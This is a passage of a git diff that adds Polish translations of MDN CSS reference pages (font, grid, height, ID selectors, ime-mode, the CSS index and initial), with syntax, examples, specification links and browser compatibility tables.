}}> ]? <{{ Cssxref("font-size") }}> [ / <{{ Cssxref("line-height") }}> ]? <{{ Cssxref("font-family") }}></p> + +<p><code>font:</code> <code>caption</code> | <code>icon</code> | <code>menu</code> | <code>message-box</code> | <code>small-caption</code> | <code>status-bar</code> | <code>-moz-window</code> | <code>-moz-document</code> | <code>-moz-workspace</code> | <code>-moz-desktop</code> | <code>-moz-info</code> | <code>-moz-dialog</code> | <code>-moz-button</code> | <code>-moz-pull-down-menu</code> | <code>-moz-list</code> | <code>-moz-field</code></p> + +<p><code>font:</code> {{ Cssxref("inherit") }}</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<p>Użycie skrótowej własności {{ Cssxref("font") }} ustawia własności pisma jako określone oraz ustawia wszystkie inne własności związane z czcionką do ich wartości początkowych.</p> + +<p>Zobacz {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }} oraz {{ Cssxref("font-family") }}, by sprawdzić prawidłowe wartości każdej własności.</p> + +<p>Również czcionki systemowe mogą być określone przy użyciu własności {{ Cssxref("font") }}<em>zamiast</em> określania indywidualnych własności pisma:</p> + +<dl> + <dt>caption </dt> + <dd>Czcionka używana w opisanych kontrolkach (na przykład w przyciskach, listach rozwijanych itd.).</dd> + <dt>icon </dt> + <dd>Czcionka używana do podpisywania ikon.</dd> + <dt>menu </dt> + <dd>Czcionka używana w menu (na przykład menu rozwijanym, listach menu).</dd> + <dt>message-box </dt> + <dd>Czcionka używana w oknach dialogowych.</dd> + <dt>small-caption </dt> + <dd>Czcionka używana do opisywania małych kontrolek.</dd> + <dt>status-bar </dt> + <dd>Czcionka używana w pasku stanu okna.</dd> + <dt>-moz-window </dt> + <dd> </dd> + <dt>-moz-document </dt> + <dd> </dd> + <dt>-moz-workspace </dt> + <dd> </dd> + <dt>-moz-desktop </dt> + <dd> </dd> + <dt>-moz-info </dt> + <dd> </dd> + <dt>-moz-dialog </dt> + <dd> </dd> + <dt>-moz-button </dt> + <dd> </dd> + <dt>-moz-pull-down-menu </dt> + <dd> </dd> + <dt>-moz-list </dt> + <dd> </dd> + <dt>-moz-field </dt> + <dd> </dd> +</dl> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/font.html">Zobacz przykład</a></p> + +<pre>/* Ustawia rozmiar czcionki na 12pt oraz odstęp między liniami na 14pt. +Ustawia rodzinę czcionek na bezszeryfowe */ +p { font: 12pt/14pt sans-serif } +</pre> + +<pre>/* Ustawia rozmiar czcionki na 80% rozmiaru znacznika-rodzica lub wartości domyślnej +(jeśli nie ma obecnego znacznika-rodzica) oraz ustawia rodzinę czcionek na bezszeryfowe */ +p { font: 80% sans-serif } +</pre> + +<pre>/* Ustawia wagę (grubość) czcionki na pogrubioną, styl czcionki na kursywę, +rozmiar na duży i rodzinę czcionek na szeryfowe */ +p { font: bold italic large serif } +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Składniki {{ Cssxref("font-size") }} oraz {{ Cssxref("font-family") }} skrótowej własności są obowiązkowe. Pominięcie ich jest błędem składniowym i powoduje, że cała własność zostanie zignorowana.</p> + +<p>Własności, dla których nie ma podanych żadnych wartości, są ustawiane do ich wartości domyślnej, którą jest <code>normal</code> dla wszystkich własności, które mogą być pominięte ({{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, oraz {{ Cssxref("line-height") }}).</p> + +<p>Własność {{ Cssxref("font-size-adjust") }} jest również ustawiana do jej wartości początkowej (<code>none</code>), kiedy określona jest skrótowa własność {{ Cssxref("font") }}.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#font">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font">CSS 2</a> (dla {{ Cssxref("font-size-adjust") }})</li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#propdef-font">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-ui/#font">css3-ui</a> (dla nowych wartości czcionek systemowych)</li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>3</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("font-family") }}, {{ Cssxref("font-size") }}, {{ Cssxref("font-size-adjust") }}, {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ Cssxref("line-height") }}</p> + +<p> </p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/font", "es": "es/CSS/font", "fr": "fr/CSS/font", "ja": "ja/CSS/font" } ) }}</p> diff --git a/files/pl/web/css/grid/index.html b/files/pl/web/css/grid/index.html new file mode 100644 index 0000000000..7510f2db2c --- /dev/null +++ b/files/pl/web/css/grid/index.html @@ -0,0 +1,200 @@ +--- +title: grid +slug: Web/CSS/grid +translation_of: Web/CSS/grid +--- +<p class="syntaxbox"><strong><code>grid </code></strong>jest własnością skrótową, która ustawia wszystkie wyraźne oraz domniemane własności grid przy pomocy pojedynczej deklaracji.</p> + +<div>{{EmbedInteractiveExample("pages/css/grid.html")}}</div> + + + +<div class="note"> +<p><strong>Uwaga:</strong> Można ustawić jedynie sprecyzowane bądź domniemane wartości w jednej deklaracji własności <code>grid</code>. Podwłasności, których nie określisz zostaną ustawione na wartości początkowe. Własności odstępów nie zostaną zresetowane przez ten zapis skrótowy.</p> +</div> + +<h2 id="Własności_składowe">Własności składowe</h2> + +<p>Ta własność jest zapisem skrótowym następujących własności</p> + +<ul> + <li><a href="/pl/docs/Web/CSS/grid-auto-columns"><code>grid-auto-columns</code></a></li> + <li><a href="/pl/docs/Web/CSS/grid-auto-flow"><code>grid-auto-flow</code></a></li> + <li><a href="/pl/docs/Web/CSS/grid-auto-rows"><code>grid-auto-rows</code></a></li> + <li><a href="/pl/docs/Web/CSS/grid-template-areas"><code>grid-template-areas</code></a></li> + <li><a href="/pl/docs/Web/CSS/grid-template-columns"><code>grid-template-columns</code></a></li> + <li><a href="/pl/docs/Web/CSS/grid-template-rows"><code>grid-template-rows</code></a></li> +</ul> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: css no-line-numbers notranslate">/* <'grid-template'> values */ +grid: none; +grid: "a" 100px "b" 1fr; +grid: [linename1] "a" 100px [linename2]; +grid: "a" 200px "b" min-content; +grid: "a" minmax(100px, max-content) "b" 20%; +grid: 100px / 200px; +grid: minmax(400px, min-content) / repeat(auto-fill, 50px); + +/* <'grid-template-rows'> / + [ auto-flow && dense? ] <'grid-auto-columns'>? values */ +grid: 200px / auto-flow; +grid: 30% / auto-flow dense; +grid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px; +grid: [line1] minmax(20em, max-content) / auto-flow dense 40%; + +/* [ auto-flow && dense? ] <'grid-auto-rows'>? / + <'grid-template-columns'> values */ +grid: auto-flow / 200px; +grid: auto-flow dense / 30%; +grid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px); +grid: auto-flow dense 40% / [line1] minmax(20em, max-content); + +/* Global values */ +grid: inherit; +grid: initial; +grid: unset; +</pre> + +<h3 id="Wartości">Wartości</h3> + +<dl> + <dt><code><'grid-template'></code></dt> + <dd>Definiuje szablon siatki strony - własności <code>grid-template-columns</code>, <code>grid-template-rows</code> oraz <code>grid-template-areas</code>.</dd> + <dt><code><'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>?</code></dt> + <dd>Ustawia auto-wyrównanie przy pomocy jawnych wierszy ustawionych własnością <code>grid-template-rows</code>, ustawieniem wartości <code>grid-template-rows</code> na <code>none</code> oraz określeniem w jaki sposób wykonywać automatyczne powtarzanie kolumn przy pomocy <code>grid-auto-columns</code> i ustawienie wartości <code>grid-auto-rows</code> na <code>auto</code>. <code>grid-auto-flow </code>zostaje ustawione na <code>column</code>, jeśli <code>dense</code> jest określone. Wszystkie inne podwłasności <code>grid </code>są ustawiane na wartości początkowe.</dd> + <dt><code>[ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'></code></dt> + <dd>Ustawia auto-wyrównanie przy pomocy jawnych kolumn ustawionych własnością <code>grid-template-columns</code>, ustawieniem wartości własności <code>grid-template-rows </code>na <code>none </code>oraz określeniem w jaki sposób wykonywać automatyczne powtarzanie wierszy przy pomocy <code>grid-auto-rows </code>i ustawienie wartości <code>grid-auto-columns </code>na <code>auto</code>.<code> grid-auto-flow </code>zostaje ustawione na <code>row</code>, jeśli <code>dense</code> jest określon. Wszystkie inne podwłasności <code>grid </code>są ustawiane na wartości początkowe.</dd> +</dl> + +<h2 id="Formalna_definicja">Formalna definicja</h2> + +<p>{{cssinfo}}</p> + +<h2 id="Formalna_składna">Formalna składna</h2> + +<pre class="syntaxbox notranslate">{{csssyntax}}</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Tworzenie_układu_grid_układ_siatki">Tworzenie układu grid (układ siatki)</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><div id="container"> + <div></div> + <div></div> + <div></div> + <div></div> + <div></div> + <div></div> + <div></div> + <div></div> +</div></pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">#container { + display: grid; + grid: repeat(2, 60px) / auto-flow 80px; +} + +#container > div { + background-color: #8ca0ff; + width: 50px; + height: 50px; +}</pre> + +<h4 id="Result">Result</h4> + +<p>{{EmbedLiveSample("Creating_a_grid_layout", "100%", 150)}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Grid", "#propdef-grid", "grid")}}</td> + <td>{{Spec2("CSS3 Grid")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_wersjami_przeglądarek">Kompatybilność z wersjami przeglądarek</h2> + + + +<p>{{Compat("css.properties.grid")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>Related CSS properties: {{cssxref("grid-template")}}, {{cssxref("grid-template-rows")}}, {{cssxref("grid-template-columns")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-auto-flow")}}</li> + <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement with CSS Grid</a></em></li> + <li>Grid Layout Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas#Grid_definition_shorthands">Grid template areas - Grid definition shorthands</a></em></li> +</ul> + +<section class="Quick_links" id="Quick_Links"> +<ol> + <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li> + <li data-default-state="open"><a href="#"><strong>Guides</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Properties</strong></a> + <ol> + <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li> + <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li> + </ol> + </li> + <li data-default-state="open"><a href="#"><strong>Glossary</strong></a> + <ol> + <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li> + <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li> + <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li> + <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li> + <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li> + <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li> + <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li> + </ol> + </li> +</ol> +</section> diff --git a/files/pl/web/css/height/index.html b/files/pl/web/css/height/index.html new file mode 100644 index 0000000000..a17ec96c3f --- /dev/null +++ b/files/pl/web/css/height/index.html @@ -0,0 +1,92 @@ +--- +title: height +slug: Web/CSS/height +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/height +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <code>height</code> definiuje w elemencie wysokość obszaru zawartości. Obszar zawartości znajduje się<em>wewnątrz</em> dopełnienia, obramowania i marginesów elementu.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("auto") }}</li> + <li>Stosowana do: elementy blokowe i elementy podmieniane</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: odnoszą się do wysokości zawierającego bloku</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}:</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">height: <length> | <percentage> | auto | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<ul> + <li><strong>length</strong> : może być w jednostkach px, cm, in</li> + <li><strong>percentage</strong> : % określone jako procenty wysokości zawierającego bloku</li> + <li><strong>auto</strong> : przeglądarka obliczy i wybierze wysokość dla określonego elementu</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/height.html">Zobacz przykład</a></p> + +<pre class="eval">table { height: 100%; } + +img { height: 200px; } + +form { height: auto; } +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Własności {{ Cssxref("min-height") }} i {{ Cssxref("max-height") }} nadpisują {{ Cssxref("height") }}.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#height">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/visudet.html#the-height-property">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p><a href="pl/CSS/box_model">box model</a>, {{ Cssxref("width") }}, {{ Cssxref("-moz-box-sizing") }}, {{ Cssxref("min-height") }}, {{ Cssxref("max-height") }}</p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/height", "es": "es/CSS/height", "fr": "fr/CSS/height" } ) }}</p> diff --git a/files/pl/web/css/id_selectors/index.html b/files/pl/web/css/id_selectors/index.html new file mode 100644 index 0000000000..927d3795be --- /dev/null +++ b/files/pl/web/css/id_selectors/index.html @@ -0,0 +1,77 @@ +--- +title: Selektory ID +slug: Web/CSS/ID_selectors +tags: + - Beginner + - CSS + - CSS Reference + - Selektory +translation_of: Web/CSS/ID_selectors +--- +<div>{{CSSRef("Selectors")}}<br> +<strong>Selektor ID</strong> wyszukuje każdy element z atrybutem {{htmlattrxref("ID")}} o takiej samej nazwie w dokumencie HTML.</div> + +<div> </div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">#przykladowe_id { <em>właściwości stylu</em> }</pre> + +<p>Jest to równoważne z {{Cssxref("Attribute_selectors", "attribute selector")}}:</p> + +<pre class="syntaxbox">[id=przykladowe_id] { <em>właściwości stylu</em> }</pre> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: css">span#mojeid { + background-color: DodgerBlue; +} +</pre> + +<pre class="brush: html"><span id="mojeid">Przykładowy tekst.</span> +<span>Kolejny przykładowy tekst.</span> +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a href="https://drafts.csswg.org/selectors-4/#id-selectors">Selectors Level 4</a></li> + <li><a href="https://drafts.csswg.org/selectors-3/#id-selectors">Selectors Level 3</a></li> + <li><a href="http://www.w3.org/TR/CSS2/selector.html#id-selectors">CSS Level 2 (Revision 1)</a></li> + <li><a href="http://www.w3.org/TR/CSS1/#id-as-selector">CSS Level 1</a></li> +</ul> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td><strong>Przeglądarka</strong></td> + <td><strong>Wsparcie</strong></td> + </tr> + <tr> + <td>Chrome</td> + <td>Tak</td> + </tr> + <tr> + <td>Edge</td> + <td>Tak</td> + </tr> + <tr> + <td>Firefox</td> + <td>Tak</td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>Tak</td> + </tr> + <tr> + <td>Opera</td> + <td>Tak</td> + </tr> + <tr> + <td>Safari</td> + <td>Tak</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/ime-mode/index.html b/files/pl/web/css/ime-mode/index.html new file mode 100644 index 0000000000..ea3fbd0d3e --- /dev/null +++ b/files/pl/web/css/ime-mode/index.html @@ -0,0 +1,9 @@ +--- +title: ime-mode +slug: Web/CSS/ime-mode +tags: + - CSS +translation_of: Web/CSS/ime-mode +--- +<p>Ta strona nie ma treści. Możesz stworzyć MDC.</p> +<p>test pl</p> diff --git a/files/pl/web/css/index.html b/files/pl/web/css/index.html new file mode 100644 index 0000000000..eabf6e687b --- /dev/null +++ b/files/pl/web/css/index.html @@ -0,0 +1,95 @@ +--- +title: 'CSS: Kaskadowe arkusze stylów' +slug: Web/CSS +tags: + - CSS + - Kaskadowe arkusze stylów + - arkusze stylów + - szablony + - wygląd +translation_of: Web/CSS +--- +<div>{{CSSRef}}</div> + +<p class="summary"><span class="seoSummary"><strong>Kaskadowe arkusze stylów </strong>(<strong>CSS</strong>) są językiem stylów używanym do opisania warstwy prezentacji dokumentów napisanych w <a href="/en-US/docs/HTML" title="HyperText Markup Language">HTML</a></span> lub <a href="/en-US/docs/XML">XML</a> (włączając pochodne <a href="/en-US/docs/SVG">SVG</a> czy <a href="/en-US/docs/XHTML">XHTML</a>). CSS opisuje jak elementy powinny być prezentowane na ekranie, przy wydruku, w czytniku ekranowym, albo w innych mediach.</p> + +<p>CSS jest jednym z podstawowych języków <strong>otwartej sieci</strong> i jest ustandaryzowany pomiędzy przeglądarkami zgodnie ze <a href="http://w3.org/Style/CSS/#specs">specyfikacją W3C</a>. Rozwijany stopniowo, CSS1 obecnie przestarzały , CSS2.1 rekomendowany, oraz <a href="/en-US/docs/CSS/CSS3" title="CSS3">CSS3</a>, obecnie rozbity na mniejsze moduły w ciągłym procesie standaryzacji.</p> + +<section id="sect1"> +<ul class="card-grid"> + <li><span>CSS wstęp</span> + + <p>Jeżeli dopiero zaczynasz przygodę z web developmentem upewnij się, że przeczytałeś artykuł <a href="/en-US/docs/Learn/Getting_started_with_the_web/CSS_basics">podstawy CSS</a>, który opisuje czym jest CSS i jak go używać.</p> + </li> + <li><span>CSS poradniki</span> + <p>Nasza<a href="/en-US/docs/Learn/CSS"> strefa uczenia CSS </a>zawiera niezliczoną ilość tutoriali, które sprawnie przeprowadzą Cie z poziomu początkującego do eksperta, pokrywając wszystkie fundamentalne zagadnienia.</p> + </li> + <li><span>CSS Reference</span> + <p>Our <a href="/en-US/docs/Web/CSS/Reference">exhaustive CSS reference</a> for seasoned Web developers describes every property and concept of CSS.</p> + </li> +</ul> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Poradniki">Poradniki</h2> + +<p><a href="/en-US/docs/Learn/CSS">CSS Learning Area</a> zawiera wiele modułów, które pozwolą Ci nauczyć się CSS od podstaw bez potrzeby wcześniejszej znajomości zagadnień.</p> + +<dl> + <dt><a href="/pl/docs/Learn/CSS/Introduction_to_CSS">Wprowadzenie do CSS</a></dt> + <dd>Ten moduł wprowadza w podstawowe zagadnienia, tłumaczy jak CSS działa, omawia selektory i właściwości, pisanie reguł CSS, dodawanie CSS do HTMLa, jednostki i kolory, kaskadowość i dziedziczenie, podstawy modelu blokowego, a także debugowania.</dd> + <dt><a href="/en-US/docs/Learn/CSS/Styling_text">Stylowanie tekstu</a></dt> + <dd>Ten moduł opisuje podstawy stylowania tekstów, włączając w to ustawienia fontów, grubość, kursywe, interlinie i odstępy między literami, cienie oraz inne właściwości tekstu. Ten moduł kończy się dodaniem niestandardowych fontów na Twoją stronę oraz stylowaniem list i linków.</dd> + <dt><a href="/en-US/docs/Learn/CSS/Styling_boxes">Stylowanie bloków</a></dt> + <dd>Moduł ten poświęcony jest stylowaniu bloków, jest to krok w przód jeżeli chodzi o ułożenie elementów na stronie. W tym module streścimy czym jest model blokowy (ang. box model), a następnie zajmiemy się kontrolą wyglądu witryny poprzez wewnętrzne i zewnętrzne marginesy, obramowania, kolorowe tła, obrazki i inne właściwści, a także rzeczy bardziej widowiskowe takie jak cienie i filtry.</dd> + <dt><a href="/en-US/docs/Learn/CSS/CSS_layout">CSS layout</a></dt> + <dd>Do tej pory poznaliśmy podstawy takie jak stylowanie tekstu czy stylowanie i manipulowanie blokami z treścią. Przyszedł czas przyjrzeć się w jaki sposób umieścić dane bloki w odpowiednich miejscach m.in. w zależności od szerokości ekranu. Dzięki poznaniu niezabędnych podstaw możemy teraz wejść głębiej w tematykę szablonów CSS, omówić różne ustawienia wyświetlania, tradycyjne metody wykorzystujące <em>float </em>i <em>position</em>, a także nowe narzędzia takie jak <em>flexbox</em>.</dd> +</dl> +</div> + +<div class="section"> +<h2 class="Tools" id="Referencje">Referencje</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/Reference">CSS reference</a>: Wyczerpujący zbiór odnośników opisujących każdą właściwość i koncepcję CSS.</li> + <li>CSS kluczowe koncepcje: + <ul> + <li><a href="/en-US/docs/CSS/Syntax">Składnia i forma języka</a></li> + <li><a href="/en-US/docs/CSS/Specificity">Pierwszeństwo</a> i <a href="/en-US/docs/CSS/inheritance">dziedziczenie</a></li> + <li><a href="/en-US/docs/CSS/box_model">Model blokowy</a> i <a href="/en-US/docs/CSS/margin_collapsing">łączenie marginesów</a></li> + <li>The <a href="/en-US/docs/Web/CSS/All_About_The_Containing_Block">containing block</a></li> + <li><a href="/en-US/docs/CSS/Understanding_z-index/The_stacking_context" title="The stacking context">Stacking</a> and <a href="/en-US/docs/CSS/block_formatting_context" title="block formatting context">block-formatting</a> contexts</li> + <li><a href="/en-US/docs/CSS/initial_value">Initial</a>, <a href="/en-US/docs/CSS/computed_value">computed</a>, <a href="/en-US/docs/CSS/used_value">used</a>, and <a href="/en-US/docs/CSS/actual_value">actual</a> values</li> + <li><a href="/en-US/docs/CSS/Shorthand_properties">CSS skrócone właściwości</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexible Box Layout</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li> + <li><a href="/en-US/docs/Web/CSS/Media_Queries">Media queries</a></li> + </ul> + </li> +</ul> + +<h2 class="Tools" id="Narzędzia_dla_developerów_CSS">Narzędzia dla developerów CSS</h2> + +<ul> + <li>Możesz użyć <a class="external" href="https://jigsaw.w3.org/css-validator/">W3C CSS Validation Service</a> do sprawdzenia czy Twój CSS jest poprawny. Jest to nieoceniony pomocnik przy debugowaniu kodu.</li> + <li><a href="/en-US/docs/Tools">Firefox Developer Tools</a> pozwalają na podgląd i edycję na żywo kodu CSS dzięki <a href="/en-US/docs/Tools/Page_Inspector">inspektorowi</a> i <a href="/en-US/docs/Tools/Style_Editor">edytorowi stylów</a>.</li> + <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/60">Roszerzenie Web Developer</a> dla Firefoxa pozwala na śledzenie i edytowanie na żywo CSS na oglądanych stronach.</li> + <li>Społeczność stworzyła inne <a href="/en-US/docs/Web/CSS/Tools">różnorodne narzędzia CSS</a>.</li> +</ul> + +<h2 id="Meta_bugs">Meta bugs</h2> + +<ul> + <li>Firefox: {{bug(1323667)}}</li> +</ul> +</div> +</div> +</section> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/Demos_of_open_web_technologies#CSS">CSS przykłady</a>: Dostań kreatywnego doładowanie dzięki przeglądaniu przykładów użycia najnowszych technik CSS.</li> + <li>Języki webowe, do których CSS jest najczęściej dołączany: <a href="/en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/XHTML">XHTML</a> i <a href="/en-US/docs/XML">XML</a>.</li> + <li>Technologie Mozilli, które intensywnie używają CSS : <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>, <a href="/en-US/Firefox">Firefox</a>, <a href="/en-US/docs/Mozilla/Thunderbird">Thunderbird rozszerzenia</a> i <a href="/en-US/Add-ons/Themes">motyw</a>y.</li> +</ul> diff --git a/files/pl/web/css/initial/index.html b/files/pl/web/css/initial/index.html new file mode 100644 index 0000000000..e6d882efe5 --- /dev/null +++ b/files/pl/web/css/initial/index.html @@ -0,0 +1,118 @@ +--- +title: initial +slug: Web/CSS/initial +translation_of: Web/CSS/initial +--- +<div>{{CSSRef}}</div> + +<p>Słowo kluczowe <code>initial</code> aplikuje w CSSie początkową wartość do właściwości danego elementu. Jest ono dozwolne w każdej właściwości CSS i powoduje ono użycie <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa">wartości początkowej</a>.</p> + +<div class="note"> +<p>We <a href="https://developer.mozilla.org/pl/docs/Web/CSS/Dziedziczenie#Właściwości_dziedziczone">właściwościach dziedziczonych</a> wartość początkowa może być zaskakująca i powinieneś się zastanowić nad użyciem słów kluczowych {{cssxref("inherit")}}, {{cssxref("unset")}}, lub {{cssxref("revert")}} zamiast wartości początkowej.</p> +</div> + +<h2 